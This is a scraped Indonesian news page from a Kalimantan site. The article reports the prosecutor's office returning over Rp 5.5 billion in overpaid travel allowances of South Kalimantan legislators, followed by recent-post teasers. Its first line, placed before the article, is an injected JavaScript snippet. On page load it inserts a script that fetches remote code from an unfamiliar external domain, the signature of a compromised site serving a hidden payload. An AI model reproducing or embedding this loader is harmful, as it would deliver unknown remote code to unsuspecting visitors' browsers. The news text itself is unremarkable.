(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejati Kembalikan Uang Kasus Kelebihan Bayar Kunker DPRD Kalsel


BANJARMASIN, Penanganan kasus kelebihan bayar perjalanan dinas Anggota Dewan dan Staf Sekretariat Daerah Provinsi Kalsel oleh Kejaksaan Tinggi Kalsel akhirnya selesai. Hal ini dibenarkan oleh Ketua DPRD Kalsel H Burhanuddin, Senin (4/3).

Menurut Burhanuddin, dewan sudah menerima tembusan surat pemberitahuan atas diserahkannya uang titipan dari Kejaksaan Tinggi Kalsel ke Kas Daerah Provinsi Kalsel yang merupakan hasil salah satu poin penyelesaian perkara. Uang titipan yang diserahkan yaitu sebesar Rp 5,5 miliar lebih sebagai tindak lanjut dari Surat Perintah Penghentian Penyidikan Nomor Print-1186/Q.3/Fd.1/09/2018 tanggal 28 September 2018. Demikian seperti dilansir tribunnews.com.

Uang tersebut merupakan dana hasil pengembalian kelebihan pembayaran para Anggota DPRD dan Staf Sekretariat Provinsi Kalsel sejak kasus ini bergulir Tahun 2015 silam. “Surat tembusan sudah kami terima, uang titipan sudah diserahkan ke Kas Daerah melalui Inspektorat sebesar Rp 5,5 miliar lebih,” kata H Burhanuddin.

Walau demikian, ia mengaku dititipi pesan oleh Kejaksaan agar anggota Dewan yang masih belum mengembalikan uang kelebihan bayar untuk segera menyelesaikannya. H Burhanuddin mengaku tidak mengetahui siapa saja yang masih belum menyelesaikan pengembalian uang kelebihan bayar perjalanan dinas tersebut.

Ia memastikan, pesan dari Kejaksaan Tinggi Kalsel sudah disampaikan ke semua unsur Pimpinan baik di Komisi maupun Fraksi di DPRD Provinsi Kalsel. “Jadi terkait kasus ini sudah di clearkan oleh pihak Kejaksaan karena mereka sudah berkoordinasi juga dengan KPK. Selanjutnya diserahkan ke pihak pemerintah,” jelasnya.

Namun menurutnya, jika pemerintah menginginkan tentu bukan tidak mungkin Kejaksaan Tinggi kembali bergerak tangani kasus tersebut. Sebelumnya selama penanganan kasus ini, Kejaksaan Tinggi Kalsel memanggil dan memintai keterangan puluhan saksi termasuk para anggota DPRD Kalsel masuk ruang penyidik.(trb)

Reporter : trb
Editor : chell

Desy Arfianty

Recent Posts

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

3 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

3 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

5 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

7 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

7 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

8 jam ago

This website uses cookies.